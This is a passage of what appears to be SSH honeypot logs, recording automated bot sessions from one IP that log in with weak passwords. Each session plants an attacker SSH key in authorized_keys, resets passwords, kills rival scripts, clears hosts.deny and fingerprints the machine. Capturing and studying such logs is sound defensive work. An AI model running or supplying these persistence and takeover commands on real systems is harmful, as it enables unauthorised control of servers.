$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:43:16.120870+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:43:16.450616+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:43:17.400008+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:43:17.720567+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:43:18.796159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:43:19.115891+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:43:19.578428+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:43:19.897115+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:43:20.592963+00:00","kind":"output","latency_ms":null,"data":" 04:43:20 up 7 days, 1:33, 0 user, load average: 0.31, 0.39, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:43:20.910901+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:43:21.727382+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:43:22.047047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:43:22.751693+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:43:23.069612+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:43:23.458432+00:00","kind":"output","latency_ms":null,"data":"top - 04:43:23 up 7 days, 1:33, 0 user, load average: 0.31, 0.39, 0.21\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:43:23.790905+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:43:24.510863+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:43:24.831709+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:43:25.659502+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:43:25.981369+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:43:26.486285+00:00","kind":"output","latency_ms":null,"data":"abdullah"},{"seq":29,"at":"2026-08-27T04:43:26.808106+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:43:27.651742+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:43:27.972328+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:43:29.361525+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"abdullah","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"ae3bef40-401d-4101-a77c-049085b2d196","name":"emerald-shifting-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48990,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:41:26.191133+00:00","ended_at":"2026-08-27T04:41:27.762207+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2227,"events":[{"seq":1,"at":"2026-08-27T04:41:06.848295+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:41:07.161892+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:41:11.810839+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:41:12.329597+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:41:12.654565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ywqzbkr9b8W5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:41:12.964572+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:41:13.275604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:41:13.550870+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:41:13.866521+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:41:15.231289+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:41:15.545827+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:41:16.517415+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:41:16.838835+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:41:17.706309+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:41:18.026386+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:41:18.822781+00:00","kind":"output","latency_ms":null,"data":" 04:41:18 up 7 days, 1:31, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:41:19.136052+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:41:19.620898+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:41:19.934190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:41:20.461221+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:41:20.775431+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:41:21.271230+00:00","kind":"output","latency_ms":null,"data":"top - 04:41:21 up 7 days, 1:31, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:41:21.583768+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:41:22.003888+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:41:22.319840+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:41:23.117586+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:41:23.430390+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:41:24.182942+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:41:24.498278+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:41:25.877282+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:41:26.192201+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:41:27.667284+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"2233","method":"password","accepted":true,"tier":"other"}]} {"id":"2de09614-ad33-4341-acc9-e9c28fc203dc","name":"autumn-courtly-vole","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":54804,"username":"gourav","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:39:25.454106+00:00","ended_at":"2026-08-27T04:39:26.513841+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2163,"events":[{"seq":1,"at":"2026-08-27T04:39:06.616756+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:39:06.929022+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:39:11.296969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:39:11.982703+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:39:12.300488+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gourav\\n4myCh27y74H1\\n4myCh27y74H1\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:39:12.618524+00:00","kind":"input","latency_ms":null,"data":"echo \"gourav\\n4myCh27y74H1\\n4myCh27y74H1\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:39:12.935112+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:39:13.427200+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:39:13.757103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:39:14.881921+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:39:15.196385+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:39:16.271587+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:39:16.589092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:39:17.363324+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:39:17.677227+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:39:18.218270+00:00","kind":"output","latency_ms":null,"data":" 04:39:18 up 7 days, 1:29, 0 user, load average: 0.12, 0.1, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:39:18.533121+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:39:19.159970+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:39:19.473241+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:39:20.067697+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:39:20.382176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:39:20.884531+00:00","kind":"output","latency_ms":null,"data":"top - 04:39:20 up 7 days, 1:29, 0 user, load average: 0.12, 0.1, 0.08\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:39:21.199326+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:39:21.939528+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:39:22.252989+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:39:22.789274+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:39:23.104024+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:39:23.972428+00:00","kind":"output","latency_ms":null,"data":"gourav"},{"seq":29,"at":"2026-08-27T04:39:24.288126+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:39:25.141418+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:39:25.455009+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:39:26.419773+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gourav","password":"gourav","method":"password","accepted":true,"tier":"other"}]} {"id":"402eea8c-7073-41a2-912e-007c524242f6","name":"orderly-thawing-addax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":56234,"username":"soporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:37:20.979229+00:00","ended_at":"2026-08-27T04:37:22.242100+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2155,"events":[{"seq":1,"at":"2026-08-27T04:37:01.371006+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:37:01.683138+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:37:06.467373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:37:06.899176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:37:07.212282+00:00","kind":"input","latency_ms":null,"data":"echo -e \"s0p0rte\\nTryjouMXEofT\\nTryjouMXEofT\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:37:07.523241+00:00","kind":"input","latency_ms":null,"data":"echo \"s0p0rte\\nTryjouMXEofT\\nTryjouMXEofT\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:37:07.834274+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:37:08.445387+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:37:08.759239+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:37:09.623163+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:37:09.937737+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:37:10.739888+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:37:11.058628+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:37:11.388199+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:37:11.701267+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:37:12.280465+00:00","kind":"output","latency_ms":null,"data":" 04:37:12 up 7 days, 1:27, 0 user, load average: 0.32, 0.24, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:37:12.594301+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:37:12.864476+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:37:13.179803+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:37:13.957122+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:37:14.267195+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:37:15.115307+00:00","kind":"output","latency_ms":null,"data":"top - 04:37:15 up 7 days, 1:27, 0 user, load average: 0.32, 0.24, 0.3\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:37:15.427456+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:37:16.051115+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:37:16.364562+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:37:16.809923+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:37:17.124068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:37:18.458786+00:00","kind":"output","latency_ms":null,"data":"soporte"},{"seq":29,"at":"2026-08-27T04:37:18.772116+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:37:20.669297+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:37:20.980092+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:37:22.147441+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"soporte","password":"s0p0rte","method":"password","accepted":true,"tier":"other"}]} {"id":"81aba5a5-1868-45cf-ba64-b52f1dc6eb5f","name":"umber-frank-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":56734,"username":"Test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":315,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:35:18.529512+00:00","ended_at":"2026-08-27T04:35:19.542165+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2137,"events":[{"seq":1,"at":"2026-08-27T04:34:54.374779+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:34:54.689112+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:34:57.830779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:34:59.363894+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:34:59.677271+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Test\\nHhGhIS2B2drk\\nHhGhIS2B2drk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:34:59.990009+00:00","kind":"input","latency_ms":null,"data":"echo \"Test\\nHhGhIS2B2drk\\nHhGhIS2B2drk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:35:00.308286+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:35:01.501180+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:35:01.804485+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:35:01.812926+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T04:35:02.115160+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T04:35:03.266764+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:35:03.583288+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:35:04.747155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:35:05.069120+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:35:06.207535+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:35:06.521540+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:35:08.329169+00:00","kind":"output","latency_ms":null,"data":" 04:35:08 up 7 days, 1:25, 0 user, load average: 0.12, 0.15, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:35:08.642089+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:35:10.396810+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:35:10.718961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:35:11.717898+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:35:12.031651+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:35:13.776441+00:00","kind":"output","latency_ms":null,"data":"top - 04:35:13 up 7 days, 1:25, 0 user, load average: 0.12, 0.15, 0.11\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 